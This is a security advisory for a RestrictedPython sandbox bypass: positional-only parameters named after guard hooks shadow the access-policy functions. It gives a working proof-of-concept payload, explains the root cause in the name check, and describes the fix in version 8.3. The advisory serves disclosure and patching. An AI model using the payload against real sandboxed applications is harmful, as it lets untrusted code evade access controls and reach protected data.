high · 8.3CVE-2026-55830Aug 28, 2026

CVE-2026-55830: RestrictedPython Guard Hook Shadow via Positional-Only Arguments

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Sandboxed code in RestrictedPython can replace the library's own security hooks by naming a positional-only function parameter after them, making every attribute or item access bypass the policy the…

PackageRestrictedPython
Ecosystempip
Affected<= 8.2
Fixed in8.3
CVE-2026-55830: RestrictedPython Guard Hook Shadow via Positional-Only Arguments

The problem

RestrictedPython rewrites attribute reads, item reads, writes, and print calls to go through guard hooks (_getattr_, _getitem_, _write_, _print_). The embedding application supplies these hooks to enforce its access policy.

The name-validation logic in check_function_argument_names() blocked protected names in regular args, *args, **kwargs, and keyword-only args, but it never checked positional-only args (those before the / separator). Untrusted code could therefore declare a function like def f(_getattr_=evil, /): ... and the rewritten attribute access inside that function would call the attacker-supplied local instead of the policy hook.

Shadowing _print_ can also expose the internal _getattr_ reference RestrictedPython passes in, enabling further escalation.

Proof of concept

A working proof-of-concept for CVE-2026-55830 in RestrictedPython, with the exact payload below.

python
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_globals, safer_getattr

calls = []
def policy_getattr(obj, name, default=None):
    calls.append(name)
    return safer_getattr(obj, name, default)

src = """
def f(o, _getattr_=lambda obj, name: "shadowed", /):
    return o.x
"""

code = compile_restricted(src, "<s>", "exec")  # compiles without error on <= 8.2
g = dict(safe_globals)
g["_getattr_"] = policy_getattr
exec(code, g)

class O:
    x = "secret"

print(g["f"](O()))  # prints: shadowed  (attacker lambda used, not policy hook)
print(calls)        # prints: []         (real guard never called)

Python's positional-only parameter syntax (def f(a, b, /):) was introduced in 3.8. The AST node for function arguments stores these in args.posonlyargs, a separate list from args.args. The pre-patch check_function_argument_names() iterated over args, vararg, kwonlyargs, and kwarg, but not posonlyargs.

The fix (commit 3737596ec9f28c34a073cc845bd2f4c0a80cb671) adds posonlyargs to that iteration, so any positional-only parameter whose name matches the protected-name pattern is now rejected at compile time with a SyntaxError. CWE-184 (Incomplete List of Disallowed Inputs) is the precise root cause: the denylist was complete for four argument kinds but missed a fifth.

The fix

Upgrade to RestrictedPython 8.3 or later. The patch adds posonlyargs to the argument-name validation loop so compile_restricted raises a SyntaxError for any function or lambda that uses a protected guard-hook name as a positional-only parameter. No workaround exists short of upgrading; if an immediate upgrade is impossible, pre-screen submitted source code and reject any function or lambda definition that contains positional-only parameters (i.e., a / in the argument list) before passing it to compile_restricted.

Reported by dataflake.

References: [1][2][3][4]

Related research